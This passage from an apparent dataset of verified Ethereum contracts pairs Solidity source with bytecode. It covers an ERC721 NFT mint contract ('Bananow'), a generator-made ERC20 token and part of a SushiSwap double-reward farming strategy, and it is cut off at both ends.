Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/BanaNow_LowerGas.sol pragma solidity >=0.7.0 <0.9.0; contract Bananow is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; uint256 public cost = 0.055 ether; uint256 public maxSupply = 5555; uint256 public maxMintAmountPerTx = 5; bool public paused = true; constructor() ERC721("Bananow", "BNW") { setUriPrefix("ipfs://QmWBhmjeXZNxCP4ApePYEwKhtWY2rfyvWoxTLWp4HKWnPw/"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x73f2376f6366a95b096747e908c76ffec308ea9e5c30146080604052600080fdfea2646970667358221220292c381a2c78154eaf7b5db83be28638b212f6553fc208dbd49c071e770bf4e164736f6c63430008070033
[ 5 ]
0xf237d2bEd7ee4150a8269ab4aDCd57fA7B18a048
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf237D7aCF377952E1B945E7F94a37ecF270e902E
// SPDX-License-Identifier: MIT pragma solidity 0.8.2; import "./StrategySushiEthFarmDoubleRewardBase.sol"; contract StrategySushiDoubleEthAlcxLp is StrategySushiEthFarmDoubleRewardBase { uint256 public constant sushi_alcx_poolId = 0; address public constant sushi_eth_alcx_lp = 0xC3f279090a47e80990Fe3a9c30d24Cb117EF91a8; address public constant alcx = 0xdBdb4d16EdA451D0503b854CF79D55697F90c8DF; constructor( address _governance, address _strategist, address _controller, address _neuronTokenAddress, address _timelock ) StrategySushiEthFarmDoubleRewardBase( sushi_alcx_poolId, sushi_eth_alcx_lp, alcx, _governance, _strategist, _controller, _neuronTokenAddress, _timelock ) {} // **** Views **** function getName() external pure override returns (string memory) { return "StrategySushiDoubleEthAlcxLp"; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./StrategyBase.sol"; import "../interfaces/ISushiMasterchefV2.sol"; import "../interfaces/ISushiRewarder.sol"; abstract contract StrategySushiEthFarmDoubleRewardBase is StrategyBase { using SafeERC20 for IERC20; using SafeMath for uint256; // Token addresses address public constant sushi = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2; address public immutable rewardToken; address public constant sushiMasterChef = 0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d; uint256 public poolId; // How much Reward tokens to keep uint256 public keepRewardToken = 500; uint256 public keepRewardTokenMax = 10000; constructor( uint256 _poolId, address _lp, address _rewardToken, address _governance, address _strategist, address _controller, address _neuronTokenAddress, address _timelock ) StrategyBase( _lp, _governance, _strategist, _controller, _neuronTokenAddress, _timelock ) { poolId = _poolId; rewardToken = _rewardToken; } function setKeepRewardToken(uint256 _keepRewardToken) external { require(msg.sender == governance, "!governance"); keepRewardToken = _keepRewardToken; } function balanceOfPool() public view override returns (uint256) { (uint256 amount, ) = ISushiMasterchefV2(sushiMasterChef).userInfo( poolId, address(this) ); return amount; } function getHarvestableSushi() public view returns (uint256) { return ISushiMasterchefV2(sushiMasterChef).pendingSushi( poolId, address(this) ); } function getHarvestableRewardToken() public view returns (uint256) { address rewarder = ISushiMasterchefV2(sushiMasterChef).rewarder(poolId); return ISushiRewarder(rewarder).pendingToken(poolId, address(this)); } // **** Setters **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(sushiMasterChef, 0); IERC20(want).safeApprove(sushiMasterChef, _want); ISushiMasterchefV2(sushiMasterChef).deposit( poolId, _want, address(this) ); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { ISushiMasterchefV2(sushiMasterChef).withdraw( poolId, _amount, address(this) ); return _amount; } // **** State Mutations **** function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // Collects Sushi and Reward tokens ISushiMasterchefV2(sushiMasterChef).harvest(poolId, address(this)); uint256 _rewardToken = IERC20(rewardToken).balanceOf(address(this)); uint256 _sushi = IERC20(sushi).balanceOf(address(this)); if (_rewardToken > 0) { _swapToNeurAndDistributePerformanceFees(rewardToken, sushiRouter); uint256 _keepRewardToken = _rewardToken.mul(keepRewardToken).div( keepRewardTokenMax ); if (_keepRewardToken > 0) { IERC20(rewardToken).safeTransfer( IController(controller).treasury(), _keepRewardToken ); } _rewardToken = IERC20(rewardToken).balanceOf(address(this)); } if (_sushi > 0) { _swapToNeurAndDistributePerformanceFees(sushi, sushiRouter); _sushi = IERC20(sushi).balanceOf(address(this)); } if (_rewardToken > 0) { uint256 _amount = _rewardToken.div(2); IERC20(rewardToken).safeApprove(sushiRouter, 0); IERC20(rewardToken).safeApprove(sushiRouter, _amount); _swapSushiswap(rewardToken, weth, _amount); } if (_sushi > 0) { uint256 _amount = _sushi.div(2); IERC20(sushi).safeApprove(sushiRouter, 0); IERC20(sushi).safeApprove(sushiRouter, _sushi); _swapSushiswap(sushi, weth, _amount); _swapSushiswap(sushi, rewardToken, _amount); } // Adds in liquidity for WETH/rewardToken uint256 _weth = IERC20(weth).balanceOf(address(this)); _rewardToken = IERC20(rewardToken).balanceOf(address(this)); if (_weth > 0 && _rewardToken > 0) { IERC20(weth).safeApprove(sushiRouter, 0); IERC20(weth).safeApprove(sushiRouter, 